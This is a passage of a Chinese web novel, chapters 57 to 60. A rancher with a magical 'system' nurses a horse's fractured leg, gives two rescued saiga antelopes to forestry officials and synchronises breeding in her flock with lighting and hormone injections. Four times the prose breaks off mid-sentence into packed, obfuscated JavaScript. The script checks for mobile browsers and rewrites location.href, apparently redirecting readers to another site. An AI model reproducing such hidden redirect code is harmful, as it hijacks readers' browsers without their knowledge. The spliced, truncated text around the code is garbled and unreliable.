姚新泉轻轻揉了将近15分钟，手都酸了，然后又在三条好腿上分别从蹄部向上轻推，缓解肌肉的僵硬，一套下来又是十来分钟过去了。 姚新泉缓缓吐出口气干脆就坐在地上了，小红马把脑袋搭在了她的头上，姚新泉伸手摸了摸它的脸，“我给你起个名字吧，就叫你平安好不好？家里还有你的一个小伙伴叫皮皮，她比你小一点，是个女孩子，等你恢复了你们再一起玩，让她带着你闹去！” 又陪了平安一会儿之后姚新泉这才回去厨房做饭，马合木提江干完活就走了。 吃完饭洗漱过之后姚新泉就打开了系统给的那本书，系统说学会了初级课程就能应对基本的一些伤病了，但是姚新泉大概翻了一下之后觉得系统实在是太过谦虚了！ 艾力算是他们这边比较有名的大夫，但是对于平安的腿伤他并没有给出什么有效的治疗方案来，可她翻了系统给的书中关于临床和用药部分后确实看到了好几种适用的药，中药。 比方说系统给的一个方子，是个外敷的方剂，不过这个方子是用在马腿骨折后一个小时之内的，别说她把平安带回来的时候已经超时了，就算没超，现在石膏都打了，也就不提了。 还有一些活血化瘀的伤药，她也不是很确定疗效怎么样，但是书上至少给了方子！ 她对自己的认知还是很清晰的，几年之内她能熟练运用书本上的知识已经不易了，至于自己创新？几十年之后再说吧！ 她上了会儿课之后就将家里之前剩下的骨头翻找了出来，牛骨头太大了，家里几个毛孩子不喜欢啃，她也没扔，还想着等开春了不行用来沤肥呢，所以就都放着了，现在翻了出来。 姚新泉拎着大骨头，又把家里的斧头找了出来，开着灯在院子里用斧头砍骨头。 也幸好这里就她一个人住，不然得话大晚上肯定得吓着人！ 狗狗军团们围在周围不停地去捡地上掉下的骨头渣，看的姚新泉好笑，“我之前给你们你们不吃，现在我剁碎了你们倒来捡了？” 小家伙们不理她，自己玩得高兴，姚新泉见状只能无奈一笑。随后又在锅炉上摆了个不常用的锅把小块儿的骨头放在里面煮。锅里水加的多，她收拾好就去睡觉了，半夜又爬起来加了一点水。出去的时候就看到趴在客厅里的莱尼一双大眼睛忽闪忽闪冒着绿光。 姚新泉过去坐在了沙发上，她轻轻摸了摸莱尼的头，“你这孩子怎么不爱交朋友呢？人家小朋友都住在一起，你非要自己住在这间屋子里？” 莱尼把下巴搭在了她的膝盖上，才不喜欢跟傻蛋们住呢，吵死了！ 姚新泉逗了她一会儿之后自己也回去睡了，第二天一早醒来后先去看了煮的骨头，把骨胶跟油脂去除掉，在锅炉上放了一个平底锅烘烤起来。 喂完牲畜自己也吃完饭后她又把烘烤干的骨头用磨盘粉碎，再上钢筋锅去蒸。 倒也不是她一定要这么折腾，主要是课程里说这样反复蒸煮过的骨粉更稳定而且钙磷含量更高。 骨粉能够增强骨密度，维持钙磷代谢平衡，平安的伤别看好像不是特别重但也不容易恢复，除了顾虑骨折的问题，还得防范蹄叶炎，所以凡是对他伤情有好处的工作再麻烦她也都愿意去做。 先抓了一把骨粉，然后又添加了一些豆粕、胡萝卜之类的，搭配上苜蓿给平安喂好饭，接着开始检查他的伤情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645314|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伤腿的温度正常，腿上也没有肿胀，又给他做了下按摩，给蹄子上做了清洁后，这才继续开始给他揉腹部，现在才刚开始还能靠揉腹部来缓解问题，后期稍微严重一些可能就得用药了。 观察他昨天是有正常排便的，姚新泉把马棚里打扫干净又做了消毒，干净的棚舍卫生不一定能让他好起来，但是总比各种细菌滋生的环境要好吧？虽然这个温度可能也不满足绝大多数细菌的生存条件。 她今天还带算去买点硫酸铜溶液回来，她打算每周给平安泡脚一次，虽然说如果他真的患上了蹄叶炎，更多的也是因为体重的压迫导致的，但是至少给他降低蹄部表面感染的风险啊！ 之后她又给平安把伤腿上石膏覆盖范围之外的地方挠了挠，终于停了下来。 呼！除了用药之外她把书里提到的护理方式基本上全给用上了！姚新泉脸上的表情放松了些，尽人事听天命吧！ 至于用药的话，目前平安的腿没有发炎症状，痛的话应该也还在承受范围内，所以她是暂时不打算上镇痛和抗炎的药物的，抗生素更是用不上。 至于促进愈合的药物这个还得再研究看看，如今有哪些牲畜用药她不是太确定，如果没有合适的话那倒不如食补呢！ 时间太短了也说不上他恢复的怎么样，但是至少没有恶化，姚新泉已经满意了。 目前除了他的伤比较紧急之外还有一件事情很紧急，那就是干预家里的细毛羊进入发情期。 姚新泉打开羊圈看着里面挤挤攘攘的羊一瞬间有点头疼，甚至想着干脆摆烂等它们后面自然发情拉倒！ 这个思绪飞快在脑海中闪过后便再也找不回来了，她的目光坚定了起来，比起一时的辛苦，还是赚钱更重要！而且现在已经有点晚了呢！ 配种！改良羊毛质量！赚钱！ 姚新泉暗暗给自己鼓劲儿，这才踏进羊圈。 毛团子们见她过来全都涌了上来，姚新泉走到电线旁边，将早就预留出来的灯泡位置都拧上灯泡，出来试了一下灯泡都是亮的，一个羊圈里安了八个灯泡。 想要人为干预发情时间首先要延长光照时间。 姚新泉看着羊圈里的白炽灯灯泡有些遗憾，书上说应该用LED灯泡来着，可没卖的啊怎么办？就凑活用吧！ 书上讲白炽灯的灯泡光谱单一，无法精准匹配羊群的生理需求。 而且热量太大了，不过这一点姚新泉倒觉得还好，北疆的3月初还会怕热？实在不行开五分钟门就不热了。 不过还有一个问题，白炽灯的寿命短，持续开灯的话可能没多久灯泡就会烧掉，不过她也没得选择，只能先这样了。 将来如果有机会的话在大城市看看有没有LED灯泡卖吧。 白天正常光照，从下午六点左右就要开灯，一直到第二天早晨8点，这样算下来一天的光照时间差不多在20个小时左右，之后还要逐步调整，不过都慢慢来吧！ 57. 第 57 章 “高勇，你搞搞清楚你是国家干部！你觉得你这事儿做得没问题吗？”市林业局的乔为民声音沉沉，满是怒气。 “国家一级保护动物你竟然允许牧民私自豢养？” 高勇气笑了，他也顾不得那么多直接在电话里扯着嗓子跟领导对着喊，“乔局长，怎么就是允许私人豢养了？那高鼻羚羊是人家在大雪天里发现并带回家救助的，人家那是有功的！如果人家不救助高鼻羚羊，谁知道它们会冻死在哪个犄角旮旯里面？” “人家在雪停了可以下山之后立马找到我跟我说了这件事情，我是考虑了我们林业局的基本情况后，决定与其由一些不专业人士去饲养，倒不如让熟手先继续养着，等天暖和了再考虑怎么处理，我不觉得有问题！” “我们林业局本身就人手不足，这一个冬天救助了各级保护动物16只，还要组织加强巡护跟提高居民防火意识的活动，咱们县里又没有动物园，兽医也没有饲养照料过高鼻羚羊的经验，那凭什么不能让已经有经验的同志暂且照料呢？” “特事特办，局长，我觉得这事儿没有问题！” 高勇都要被气笑了，什么毛病啊？保护野生动物的重点是保护，人家姚新泉又是救助又是保护的，让人家暂时饲养对人家来说可以算是没有好处只有麻烦的事情，人家也愿意体谅他们的不容易继续照顾的，上面倒是突然冒出这么多意见来，可笑！ 乔为民不想跟他争这些事情，只是冷声道，“你联系好牧民，我这边安排好时间后会让人去你们县，去带走高鼻羚羊的。” 高勇胡乱答应了两声，爱来不来！ 不给他们安排人手就催着他们干这干那的，黄世仁也就这样了！ 高勇烦得不行但还是给姚新泉打了个电话，姚新泉接到电话后倒也没有很诧异，毕竟高鼻羚羊跟别的被救助动物不一样。 小金也稀少，但是没有稀少到整个新疆就一两只的程度。而且她长着翅膀想来就来想走就走，谁也不可能因为她飞到自己牧场就说自己是私自非法豢养野生动物。 可两只高鼻羚羊不一样啊！他们数量稀少，就算这边也有他们的栖息地，可是这种情况如果他们还是生活在野外的话，相对还是生活在自然保护区比较好。 想到这里姚新泉就问，“会把它们送到自然保护区吗？” 高勇不知道，乔为民什么都没跟他说，他就怕有些人会拒绝将高鼻羚羊放生。 按姚新泉的意思，两只小家伙并没有丧失野性跟独立生活的能力，就算要干预繁殖也是需要遵循伦理并且要贴近自然环境吧？ “我希望吧，卡拉麦里山自然保护区那边本来就有他们的栖息地，虽然目前那边并没有把高鼻羚羊列为主要保护对象，但是那边本身就是主要保护荒漠有蹄类动物的，我估计应该可以往那边放，我也在往那边努力。” 姚新泉嗯了一声，两人又聊了几句这才挂断了电话。她叹了口气，有些事是真的不好解释啊！比如说她该怎么解释两个小家伙是全疆最后一对高鼻羚羊了？ 又怎么解释两个小家伙血缘不近，不算近亲繁育，将来自然繁殖就好？她还想说系统讲哈萨克斯坦、俄罗斯以及部分中亚国家其实还有分布高鼻羚羊，为了物种多样性以后可以考虑引进？ 发愁啊！ 本来还想着他们应该会来的很快，但等了两几天都没见到他们姚新泉便也不记挂这件事情，因为麻烦的事情发生了。 平安身上出现了类似褥疮的情况！ 她每天都会关心平安身上有没有红肿，但是就算平安体重不是特别大，但身体被兜住也难免会摩擦，今天一早去检查的时候就发现了有些红肿，姚新泉的心沉了沉。 她先把今日份的治愈术释放出来，这玩意儿是日抛的，效果有，但是具体多大她也不好说，毕竟没有参照物。 昨天艾力过来检查说他的腿恢复的还行，姚新泉便没让他今天再过来。 她打了盆温水来，先轻轻擦拭了吊马兜接触的部位后，又用碘伏将泛红的部位消消毒。 平安应该是挺不舒服的，他不停地想扭过头去看自己的肚子，但是被吊马兜束缚住了动作，看得出来情绪有些烦闷。 姚新泉有些头疼，想了想她去把马棚的门打开，喊了一声“皮皮！” 皮皮跳着就过来了，姚新泉拍了拍她示意跟着自己进屋。 皮皮的大眼睛中满是好奇，她早就想进来了，但最开始姚新泉是在隔离，后来则是有些担心这小马驹太活蹦乱跳了万一伤到平安怎么办？ 可现在平安已经出现了烦躁的情绪，就算现在不严重，一直不处理的话总会越来越严重的，到时候万一再出现一些自残或者别的行为就不好了。 还是叮嘱皮皮小心一点，然后来屋子跟他玩吧，有朋友的陪伴想来会好一些。 姚新泉少少给平安涂了一些红霉素软膏，可以预防感染。 姚新泉有些头疼，其实应该让他晒晒太阳的，但是因为不知道这个天气哪天又会下雪，她是把平安拴在里面不会被雪淋到的地方，这里是亮堂的，不过并不会被直接照到。 另外目前很重要的一点是要给平安搞一点软和的东西垫在身下，尽量分散压力，同时减少摩擦。 可用什么呢？ 姚新泉皱着眉头进了屋，就算用最软的棉布好像也不太合适，太薄了！ 那棉被呢？ 好像也不太行，薄的效果不好，厚的不透气。 到底用什么呢？直到姚新泉晚上回屋睡觉躺在床上突然灵光一闪，对啊，床垫啊！ 她爸妈屋里床上铺的是褥子，可是她的屋子床上是专门去家具城买的床垫，很软而且回弹也不错。 可是难道要把床垫剪了？ 姚新泉琢磨了一晚上，第二天一早终于有了主意，买泡沫垫！ 一样有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645315|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹性，但是价格要便宜很多。 想到就干，她又下山了一趟，扛了一包泡沫垫回来，厚度差不多五六厘米，压实后也有两三厘米呢！ 她回来后先把泡沫垫晾在外面暴晒杀菌，然后又用开水煮了一条纯棉的布，等干了之后，把布缝到了泡沫垫的上面后又来到了马棚。 “平安，我把这个垫子塞到你的肚子底下，这样你会舒服一些，过会儿我抬你肚子的时候你不要抗拒，很快就好成吗？” 听没听懂姚新泉不确定，反正平安确实没反抗，但他这个体重折腾下来姚新泉出了一脑门的汗！ 她轻轻拍了拍平安的屁股，“舒服点儿没有？” 平安也不吭声，就是把马脸往姚新泉怀里送，姚新泉笑着抱住他，“我算是发现了，你比皮皮会撒娇多了！” 皮皮那个孩子就真的马如其名，她会突然跑过来咬你衣服，扯你头发甚至是踢你一脚，但是很少有这种乖乖巧巧贴过来的时候。 姚新泉现在特别注重给平安的腿按摩，骨折有愈合的趋势，那就更不能让蹄叶炎把一切都毁了！ 正按摩着突然听到外面叽叽喳喳的声音，有点像小金，但又好像不止是她，姚新泉探头出去看。 远远地就见小金站在连廊的房檐上跟站在牛棚上的一只鸟在吵架，好像是只乌鸦？反正是一身黑。 姚新泉眯着眼睛看了半天也没搞懂两个小家伙是咋回事，但是听这个动静，两个家伙骂的还挺脏的。 正当她想回去继续照顾平安的时候就见小金突然一个旱地拔葱便冲上云霄然后如一支利箭一般冲向小乌鸦。 七个月大的金雕虽然还是幼鸟，但是已经接近成年体型了。小金算是金雕中的标准体型，身长大概80厘米左右，她的翼展非常长，姚新泉前两天刚拿皮尺给她量过，有2.3米，飞起来那一瞬间竟然让姚新泉产生了遮天蔽日的错觉。 她身上属于幼鸟的白色羽毛已经褪去了很多，鸟喙也已经向成年的黄褐色过渡，头部的羽毛非常蓬松，不过金色不是那么明显，至少仅凭目前的外形，姚新泉不觉得她有被叫为金雕的理由。 小乌鸦似乎也没想到小金会突然冲过来抓它，它吓得赶忙飞了起来，可也许是受惊太过，那飞行的背影看起来竟然有些踉踉跄跄地。 果不其然，也就眨眼的功夫小乌鸦就被小金抓在了爪子上，她在半空中绕着家里住宅跟牛圈羊圈这些地方转了一圈，叫声中满是得意跟喜悦，最终轻轻落在了姚新泉所在的马棚前面的一根栓马的木桩上。 小脑袋高高地昂起，姚新泉忍俊不禁地给她比了个大拇指，“小金真厉害！” 不过，小金这是不是吵架吵不过人家恼羞成怒然后就打人啊！ “小姚，你把小金雕照料得真好，野性也都在，跟野外由成鸟带大的看起来都没什么区别啊！”高勇大老远过来见到这一幕笑得畅快，这个小姚真是给他长脸啊！ 58. 第 58 章 高勇没想到这次竟然是乔为民亲自过来的，他本来以为乔为民会安排自己下属过来呢！ 他不仅自己过来了，与他同行的还有一位年轻的男同志，开着一辆皮卡车，看着像是军用的。 一行人把车停在山脚下步行上来，高勇都累得大喘气，更别说此时脸色都有些泛白的乔为民了，只有那位年轻的小同志没什么表情。 几人刚想叫姚新泉的时候便见到了小金雕抓乌鸦的那一幕，高勇眼睛瞬间就亮了起来。 小金和两只高鼻羚羊的事情他都跟上面汇报过，乔为民很是不高兴，觉得他在胡闹，可这一见面就发现小金身上的野性没有丧失！ 这被人类救助的小动物最害怕的就是没了野性，没了独立在野外生存的能力，这样的话它们就没办法回归大自然了，只能在动物园那狭窄的笼子里过完余生。 这不是高勇想见到的场景，他不是不犯愁，但是人手确实不够用怎么办呢？不让开牧场有那么大地方的热心牧民帮忙照料，难道要让他们把小金关到自家厕所里照料吗？ “乔局，你看小姚这照顾得多好啊！” 乔为民看了他一眼没说话，目光落在了姚新泉身上。 姚新泉先打发走了狗狗军团们，笑着朝几人走来，“诸位领导怎么突然过来了？” 乔为民对着高勇的时候虽然态度很不好，但是对上老百姓的时候态度又平和了起来。 他笑着朝姚新泉点了点头，跟她握了个手，“这不是知道你这边救助了两只高鼻羚羊跟一只金雕嘛，我们过来看一看！” 都到了这里反而不急着去看高鼻羚羊了，几人在姚新泉的带领下在牲畜棚里转了起来。 当转到平安所在的马棚时，几人的目光都落在了平安打石膏的那条腿上。 “它的腿骨折了？”一直旁听的年轻男人突然说话，姚新泉不知道他是谁，但是跟着领导过来的也不好怠慢。 “是啊，不过不算特别严重，闭合性骨折，采取的保守治疗，受伤到今天是九天，目前还在治疗的早期阶段，等再恢复五天左右就要逐步进行负重训练了。” 总的来讲姚新泉自问她的心态还是不错的，不管到底是因为平安体质好还是伤情不重亦或者是因为金手指的原因或者治疗得当，不管是因为什么原因，到目前为止平安的伤腿都没有出现什么明显的红肿发炎状况，其他三只腿也没有出现蹄叶炎症状，腹部虽然有些不大对，但是只要不是严重褥疮，就算真有发炎破皮，大不了之后慢慢恢复。 她现在对平安很有信心！ “确定是骨折吗？”年轻人追问，都九天了石膏包裹处上下都没有明显异常，这就是有很大可能性要好啊！ 姚新泉倒也没觉得生气，也不算奇怪吧，基层里有医术精湛的人自然也有浑水摸鱼的人，误诊倒也不算奇怪。 “我们这边的兽医站负责人叫艾力西尔，他们家从他父亲到他哥哥以及他本人都是兽医，从干这一行至今已经将近30年了”，所以不至于连是不是骨折都没办法确定。 高勇也知道艾力西尔，“我知道他，咱们县还有市里每一次举办的兽医相关的培训他都会去。” 年轻人点了点头，又继续问，“那你除了常规治疗手段外还采取了其他措施吗？” 姚新泉没想到他会追问这些，但这也不是什么不能说的东西，“在经过初步诊断并确定好保守治疗方案之后，艾力兽医给平安打上了石膏，药物使用的有限，在他没有明显发炎等症状的情况下我没有给他使用抗生素，只是吃了两天的消炎药，除此之外就是食补以及一些护理了。” 她侃侃而谈的模样让年轻人看出来了姚新泉就算不是自己制定了治疗计划她也肯定是全称参与其中，是有自己的想法的。 至于能不能成，他的目光看向了平安，半晌后突然朝她伸手，“认识一下，我叫杜若林。” 他这个招呼打的让人猝不及防，不过姚新泉也没介意，跟他握了手之后带着几人把牧场逛完最后带着他们去看了高鼻羚羊。 目光落在高鼻羚羊身上的时候乔为民的呼吸都忍不住轻了些，近几年除了他们这儿，可再没有见过高鼻羚羊的踪迹啊！ 有不少专家学者都说在六十年代的时候高鼻羚羊就已经在我国灭绝了，现在又出现在自己的治下，难道还不能说明他的政绩吗？ “小同志，这两只高鼻羚羊我得带走”，乔为民怕姚新泉心里有意见，他也不想寒了老百姓的心。 不想姚新泉立马就同意了，“但我有一个要求”，几人的心又提了起来，就见姚新泉接着道，“高鼻羚羊得送到保护区去，不能送到动物园。” 她已经跟两个小家伙好好聊过了，虽然说不能百分百保证理解了他们的意思，但是她看得出来，小家伙们不想失去自由。 姚新泉不觉得这是无礼的要求，所以自然也会跟领导提。 乔为民没想到她这么懂事，很是满意地点了点头，“小同志你放心，我们不可能把能独立在野外生存的濒危野生动物勉强留下来，但我也要跟你透底，相关部门应该会关注它们的繁育问题的”。 姚新泉理解并接受，都濒危了，能不关注？而且有人关注的话它们相对来说反而更安全呢！ 因为姚新泉的配合事情谈的很顺利，乔为民心里对高勇的不满都淡去了一些。 让老百姓去救助或者短期饲养就会有这个问题，不管是养出感情了还是为了什么，人家不愿意放手了！ 又是人家主动救助的，他们要是太过强硬事情也会闹得很难看啊！ 他没忍住叹了口气，表情有些复杂，“你们都是好同志，什么都不图照顾了小动物这么久，但怕的就是有感情了不愿意放手啊！” 他讲起了一件事情，“隔壁市里出了一件事，有个老百姓救了一只雪豹，本身这是一件好事情，但是他救助之后私自养了半年多，那雪豹可是国家一级保护动物啊！后来被人举报说他私自豢养保护动物，当地工作人员找上门去他不仅没有任何悔改反而不愿意让工作人员把雪豹带走！” 乔为民挺无奈的，别看保护野生动物的相关法律88年就出台，现在算下来差不多已经四年了，可是实际上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚新泉点了点头示意自己在听，她有点猜到杜若林要说什么了。 “因为环境和地形的原因，边防部队里面的军马时有受伤的情况，咱们都清楚，马腿一旦骨折”，他没继续说下去，但脸上表情不是很好看，这些难道不是他们的战友吗？一起并肩作战的战友，可能就因为一点小失误或者一些什么别的原因便不能服役了。 或者说，不是不能服役，而是会牺牲。 “我刚才看你家里那匹马状况还挺好的，我是想着如果可以的话我们那些受伤的军马可以送到你这边来治疗吗？部队不会拖欠你的治疗费的！” 他也想过请他们去出诊，但是人家这么大个牧场放着不管也不现实。 他也想过让他们去传授经验，可是他也听了这些治疗手段并不复杂，可为什么那些军马就没扛过去呢？会不会不是治疗手段的关系，而是人的关系呢？ 姚新泉不是兽医只是普通养殖户那又有什么关系？不拘一格降人才，只要有真本事，那他就能张口去提！ 59. 第 59 章 姚新泉没有立马拒绝，可她想了会儿觉得杜若林可能有点冲动了，“杜同志，如果我有这个能力我肯定不会拒绝”，为什么要拒绝呢？就算不提为了国家默默奉献的这些特殊的功臣们，就只说能跟边防这边建立联系也是很不错的一件事情啊！ “你先别急，我没有拒绝的意思”，见他着急想要说话，姚新泉赶忙安抚，“平安的情况你看到了，确实可以说好了一些，但我也不是给自己泄气，他才受伤九天，后续还有许多问题可能会发生，在他彻底痊愈前谁也不能保证最终结果会如何。” 她沉吟了一会儿，“要不这样，根据平安的恢复情况来，如果恢复得还不错，那差不多半个月后也就可以拆除石膏了，到时候还有一些后续的功能恢复训练要做，你如果有时间可以过来看看，或者我把电话留给你，到时候再沟通这些问题，我觉得总得平安这边能痊愈咱们再谈别的。” 她有信心是有信心，但总要最终结果出来再说话。 高勇也很是赞同，“是啊，马腿骨折的治疗难度咱们都知道，既然小姚这边有正在治疗的，那就先看看这边的效果，也不急在一时。” 他确实是在为姚新泉考虑，万一着急忙慌得跟边防合作了，结果一匹都治不好这肯定要出问题的。 杜若林想了想还是点头，除了姚新泉这边的问题，他也得回去跟领导商量。 虽然说某种意义上来讲既然边防那边之前找的人治不好，那就死马当作活马医吧！ 可问题是把马运送过来的人力物力怎么算？ 两地确实不算远，但是开车怎么也得五六个小时了。 而且随行的人最起码得有两名战士，其中一名开车，另一名帮着搭把手，是不是还得配一名兽医？ 这都得上面领导同意了才成！ 想到这里他也不勉强对方了，留下了姚新泉的电话，打算回去后好好跟进一下平安的恢复进程。 留几人吃了顿饭后，姚新泉送走了三人以及依依不舍的两只高鼻羚羊，不过随后她便接到了好消息。 “湖羊已经上车了？”姚新泉很是高兴，这事儿本以为会很顺利的，结果莫名其妙被卡住了，就在她以为会拖延一段时间的时候又奇妙地推进了。 电话那头的师月江嗯了一声，声音中满是轻快，田学林还是很好用的，他不仅处理好了这件事，而且价格还远低于他们的预期。 “还有一个好消息要告诉你”，师月江很期待姚新泉的反应。 “什么？”她隐隐有了猜测。 “杜泊羊上船了，不过不是通过南非引进的，是通过澳大利亚引进的，南非那边手续繁杂，不仅没办法规模化引进，而且会耽误时间，我们找专家评估过，澳大利亚的杜泊羊跟南非的一样，不会影响你用来繁育的目的的。” 澳大利亚吗？不过这个倒无所谓，这几天她确实没时间关注这些事情，事情太多了。 平安的事情，母羊发情的事情还没处理好，目前还是在通过灯光模拟秋天的光照条件，保持日照16个小时、黑夜8小时的状态，目前已经差不多一个月了，效果怎么样这个也说不好。 另外出现了一个大问题，那就是她租借回来的公羊的问题。 准确地说是她闹得笑话。 姚新泉光想着要用公羊刺激母羊发情了，没往深处考虑。现在公羊倒是跟母羊合群了，可合群之后公羊难免就会想□□，她根本没办法每一只都阻止到啊！ 后来她才反应过来刺激发情没毛病，可应该找结扎输精管的公羊啊！ 这种公羊跟母羊合笼之后会刺激母羊发情，但不至于让母羊怀孕。 倒不是不让母羊怀孕，可是家里500只母羊，也不算是小规模养殖了，要想省事的话正常应该让它们同步发情，同步配种，虽说个体的妊娠时间不一致，但是也大差不差，这样一来更方便规模化管理。 可现在搞不好羊圈里有的羊已经怀孕了，有的羊还没发情呢！ 到时候怎么管理？怎么放牧？全都是问题啊！ 姚新泉头都大了！ 她把这个说给师月江听了之后师月江倒没笑她，反倒是说，“我这段时间也去了解了一下，是可以通过激素去刺激母羊发情的。既然现在已经出现这个情况了，为了规模化集约化养殖，我觉得你有必要这样去刺激一下。” 跟姚新泉想到一起去了！ 可姚新泉还是叹气，按照她最开始的想法，通过光照刺激，公羊刺激，这样一来最起码有半数的母羊是能正常发情吧？ 然后再通过激素去刺激，能给她减少一些成本，激素那也不是白给的，是要钱的啊！ 现在如果全数都要通过激素刺激的话，母羊一次是需要注射400-500iu的PMSG的，一般注射之后2-3天就能发情，排卵率比较高。 如果是注射前列腺素跟促卵泡素加促黄体素的话，有的是需要母羊处于黄体期，有的是需要分次注射，都比较麻烦。 至于价格的话，PMSG大多数是国产的，每只羊大概1-2块，另外两种最起码要5块一头羊，成本太高了！ 就算用PMSG注射，按1块来算，如果500只全部要打，这样算下来那又得增加500的成本！ 这本来是不需要的啊！或者说不需要这么多啊！ 姚新泉叹气，师月江一时不知道怎么安慰她只是问道，“那你现在把公羊分开了吗？” “分了，不分后面更头疼”，她现在都不确定有哪些羊已经配种成功了！ 正儿八经配种的时候，如果人能盯得过来，只要有爬跨行为就会在母羊身上做上标记，如果数量太多的话，那一般会在公羊胸前抹上油漆，只要蹭到母羊屁股上就当已经发生过爬跨了。 现在她没办法确定哪些母羊已经配过了啊！ 她把平安跟小公羊带回来已经九天了，隔离用了两天，合笼已经七天了，这算是早期妊娠阶段，如果这个时候再给母羊们注射激素的话，好一点的情况就是人家压根没配种成功，那就刺激母羊重新发情。 坏一点的情况可能会导致胚胎着床失败， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“多少钱？”她小心翼翼地试探着。 系统毫不迟疑，“一只1积分。” 姚新泉冷笑一声，“那你还是把我杀了吧！” 开什么玩笑呢！到现在为止她连100积分都还没凑到，还倒欠系统25积分呢！ 500积分，疯了吧？ 逼急了她就等上一个月看看到底有没有怀孕的，之后再打激素，也就是管理复杂一些而已，有什么大不了的！ 也不知道系统在琢磨什么，过了半天之后它突然道，“我可以免费借给你。” 姚新泉震惊！ 虽然她从没觉得系统是个坏的，但是它也不像是做慈善的啊，为什么突然要来帮自己？ “你确定？” 系统有些不耐烦了，“你就说你要不要吧？”哼，它还不想租呢！ “要！为什么不要！” 60. 第 60 章 姚新泉不想去追究系统的来历，既然系统愿意帮助她自然欣然接受。 “你可真是帮了我的大忙了！”姚新泉很是感慨，系统心里也高兴了几分。 她赶忙去了羊圈里将每一只母羊拉过来使用了一下金手指确认母羊是否有配种成功，把检查完确认会怀的分了一批，检查完没有迹象的分一批，大半天过去之后确认500只母羊中可能怀孕的有126只，剩下374只里面有228只是没有发情迹象的，所以这228只羊得打激素刺激一下，剩下有发情迹象但还没怀孕的就得安排配种了，母羊的发情时间差不多也就24-48小时，不能耽搁。 为了时间不错开，今天就得联系好艾力，让他明天一大早就来打针刺激发情！ 一般激素刺激之后2-3天内就能发情，这样一来已经怀了的那批会稍微早一点，但是整体的分娩时间差不多能控制在半个月内，她还能接受。 姚新泉深深吐出一口气，太难了，真的太难了！ 艾力接到她的电话时还愣了一下，“你不是先刺激它们吗？怎么这就要打针了？” 它们没有全受刺激，我倒是受了不小的刺激啊！ 姚新泉叹气但也没多解释，只是交代了需要打针的数量后便挂了电话。 第二天艾力过来后还想问什么姚新泉只是摆了摆手，她现在很庆幸艾力没注意到家里有公羊，只是知道她有这个打算，不然根本没办法解释她是怎么确定那群羊已经怀孕还被单独分出去了！ 她的目光落在那群公羊的方向，眼神中带着怨念，虽然你们是羊，但你们怎么就不能克制一下自己的生理冲动呢？ “新泉，就这些要打针吗？别的不用？”看着圈里明显没到500只的数量艾力有些疑惑。 “对，其他都发情了”，她含糊道。 艾力挑了挑眉，“那你这效果还挺好的啊，也就一小半没有发情，那这样，咱俩一个抓一个打，这样快一点！” 姚新泉力气大，又是自家羊很熟悉，所以由她来抓。其实要想方便省时应该把马合木提江夫妇叫上来的，但是他们对自家羊太熟悉了，不像艾力那么好糊弄，所以姚新泉想了想还是算了。 艾力用生理盐水稀释了冻干粉后，抽取了液体进行颈部注射，还让她也尝试了几次。 “你家这是初产的小羊，剂量可以稍微少一点点，不过说起来你懂得还真挺多的啊，还知道给母羊打PMSG，我们都是才学回来没多久呢！”艾力笑着调侃她，姚新泉尴尬，她现在就怕人夸她。 “不过你也得注意点，单独使用PMSG虽然成本低一些但是有可能部分母羊对这个没有反应，也有的母羊会发生延迟排卵或者不排卵。不少地方会配合PMSG使用前列腺素或者是孕酮栓，当然了这样成本也就高了。” 姚新泉点头，她也是出于成本考虑才没有使用的。 “行了，你之后几天做好检测，一般打完后两三天内就有反应了，有反应之后你就可以安排公羊进行配种了，公羊找好了吗？” 姚新泉点了点头，“找了”，上次平安运回来的时候因为分开隔离的所以艾力没看到。 “行，那我先回去了，你自己注意观察，有什么事情你再找我”，说完他便离开了，药钱跟出诊费提前给过了。 看着羊圈里的母羊们姚新泉缓缓吐出半口气，剩下半口要等配完才能吐出来。 之后她又去了已经发情的母羊那边，把公羊也放进来完成了配种。 随便对付了口饭又把自己一身的牲畜味儿洗掉之后姚新泉躺在床上沉沉地睡去了，她可太难了啊！ 第二天醒来除了常规喂养牲畜、照顾平安他们之外姚新泉还得调整一下母牛的饲料。 母牛怀孕至今差不多7个月的，已经到了妊娠后期，小牛犊70%的体重都是在这个阶段增长的，所以从现在开始要给母牛增加营养。 能量饲料跟蛋白质饲料得增加，钙磷也得调控。 之前妊娠中期的时候饲料里钙磷的含量都得增加，还得补充些铜、锌、碘元素，这样能预防蹄病以及胎儿畸形。 到了妊娠后期的话就得开始换低钙饲料了，这样才能预防产后低血钙，到了生产后又得立马恢复高钙补充。 还得再补充些维生素，也能预防牛犊体弱或者胎衣滞留在体内。 